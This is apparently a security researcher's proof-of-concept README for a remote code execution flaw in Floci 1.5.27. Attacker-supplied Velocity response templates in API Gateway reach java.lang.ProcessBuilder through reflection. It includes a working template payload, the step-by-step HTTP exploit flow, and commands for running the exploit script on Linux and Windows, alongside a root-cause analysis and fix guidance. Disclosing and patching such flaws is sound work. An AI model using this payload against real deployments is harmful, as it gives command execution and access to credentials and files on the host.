Floci 1.5.27 API Gateway VTL RCE PoC
This directory documents and validates an API Gateway Velocity Template Language RCE in Floci 1.5.27.
Floci evaluates user-controlled API Gateway mapping templates with Apache Velocity. The exposed template objects allow reflection from $util into java.lang.ProcessBuilder. An attacker who can create or update an API Gateway integration response can store a malicious response template, invoke the API, and execute an operating-system command in the Floci JVM process.
Research status: verified locally end to end through Floci's HTTP API and a standalone PoC.
Affected Target
- Product: Floci
- Version analyzed:
1.5.27 - Commit analyzed:
238294e779d0cd24835ba04d7bb16b1e1fd15f76 - Service surface: API Gateway REST API integration response templates
- Impact: command execution in the Floci server process
- Default exposure note: IAM policy enforcement is disabled by default
Impact
When a Floci instance exposes its AWS-compatible API endpoint to an attacker, the attacker can create a REST API, configure a MOCK integration, place a malicious VTL response template in the integration response, deploy a stage, and invoke the route. The response template executes server-side during request processing and can start arbitrary local processes.
In the validated local run, the payload executed cmd.exe /c echo FLOCI_STANDALONE_POC>... and created a marker file from the Floci process. On Linux targets the same primitive can run sh -c '<command>'.
Severity is critical for exposed Floci deployments where untrusted users can reach the API Gateway control plane. It is high to critical for shared developer or CI environments because the command runs with the Floci process privileges and can access local credentials, mounted project files, Docker credentials, service data, and adjacent emulator state available to that process.
Preconditions
- The attacker can reach Floci's HTTP endpoint.
- API Gateway service support is enabled.
- The attacker can call API Gateway REST control-plane endpoints such as
/restapis. - IAM enforcement is disabled or does not block the attacker's API Gateway control-plane calls.
- The target host has an executable command path matching the supplied
--argv.
Floci's default application config enables API Gateway and disables IAM policy enforcement:
services:
apigateway:
enabled: true
apigatewayv2:
enabled: true
iam:
enabled: true
enforcement-enabled: false
Root Cause
The API Gateway integration response API stores attacker-controlled responseTemplates without sandboxing them as untrusted code:
ApiGatewayService.putIntegrationResponse(...)
request["responseTemplates"] -> IntegrationResponse.responseTemplates
When a MOCK integration is invoked, Floci selects the configured response template and evaluates it through VtlTemplateEngine:
ApiGatewayExecuteController.invokeMock(...)
template = ir.responseTemplates()["application/json"]
result = vtlEngine.evaluate(template, vtlCtx)
VtlTemplateEngine constructs a default VelocityEngine, exposes Java helper objects such as $util, and evaluates the template:
new VelocityEngine()
vc.put("util", new UtilVariable(objectMapper))
engine.evaluate(vc, writer, "apigw-template", template)
The resulting Velocity environment allows a template to call Java reflection methods:
$util.getClass().forName('java.lang.ProcessBuilder')
From there, the template can construct a ProcessBuilder, start a process, and wait for completion.
Exploit Flow
The PoC performs the following HTTP sequence:
POST /restapisGET /restapis/{apiId}/resourcesPOST /restapis/{apiId}/resources/{rootId}PUT /restapis/{apiId}/resources/{resourceId}/methods/GETPUT /restapis/{apiId}/resources/{resourceId}/methods/GET/responses/200PUT /restapis/{apiId}/resources/{resourceId}/methods/GET/integrationPUT /restapis/{apiId}/resources/{resourceId}/methods/GET/integration/responses/200POST /restapis/{apiId}/deploymentsPOST /restapis/{apiId}/stagesGET /execute-api/{apiId}/prod/rce
The malicious response template is stored at step 7 and executed at step 10.
Payload
The PoC uses a ProcessBuilder(List<String>) path so command arguments are preserved:
#set($pbClass=$util.getClass().forName('java.lang.ProcessBuilder'))
#set($listClass=$util.getClass().forName('java.util.List'))
#set($ctor=$pbClass.getConstructor($listClass))
#set($cmd=$util.parseJson('["sh","-c","id > /tmp/floci_vtl_rce"]'))
#set($pb=$ctor.newInstance($cmd))
#set($p=$pb.start())
#set($exit=$p.waitFor())
{"ok":true,"exit":"$exit"}
Files
poc.py- stdlib-only Python exploit driver with target host and port supplied by CLI.evidence/2026-06-23-local-verification.txt- local verification transcript.
Usage
Linux target marker:
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce'
cat /tmp/floci_vtl_rce
Windows target marker:
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "whoami > C:/Temp/floci_vtl_rce.txt"
Get-Content C:\Temp\floci_vtl_rce.txt
Leave the created REST API in place for inspection:
python3 poc.py --host 127.0.0.1 --port 4566 --argv sh -c 'id > /tmp/floci_vtl_rce' --no-cleanup
Expected success output shape:
[+] REST API id: d1e873f2f8
[+] Resource id: cfd975b9
[+] Trigger response: {"ok":true,"exit":"0"}
[+] Cleanup delete REST API: HTTP 202
Local Verification
The finding was verified in two ways.
First, a Quarkus/JUnit end-to-end test drove Floci's HTTP API in-process and asserted marker creation:
.\mvnw.cmd '-Denforcer.skip=true' '-Dmaven.compiler.release=21' '-Dmaven.compiler.enablePreview=true' '-DargLine=--enable-preview' '-Dtest=ApiGatewayVtlRceExploitTest' test
Result:
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
target\apigw-vtl-rce-marker.txt => FLOCI_APIGW_VTL_RCE
Second, a live local Floci dev server was started on 127.0.0.1:4566 and this standalone PoC was run against it:
python poc.py --host 127.0.0.1 --port 4566 --argv cmd.exe /c "echo FLOCI_STANDALONE_POC>C:/Temp/floci_standalone_poc.txt"
Result:
[+] Trigger response: {"ok":true,"exit":"0"}
C:\Temp\floci_standalone_poc.txt => FLOCI_STANDALONE_POC
Fix Direction
Do not evaluate API Gateway mapping templates with unrestricted Java reflection. A defensive patch should:
- configure Velocity with a secure uberspector and deny reflection/classloader/process access;
- expose only API Gateway-compatible helper methods, not arbitrary Java object graphs;
- add regression tests that prove
$util.getClass(),Class.forName,ProcessBuilder,Runtime, and classloader access are unavailable from templates; - treat API Gateway templates as untrusted data-plane code and isolate evaluation from the Floci JVM where practical;
- require authorization for API Gateway control-plane mutation endpoints when Floci is bound beyond localhost.
Responsible Use
Run this PoC only against local research targets, owned systems, or explicitly authorized lab instances.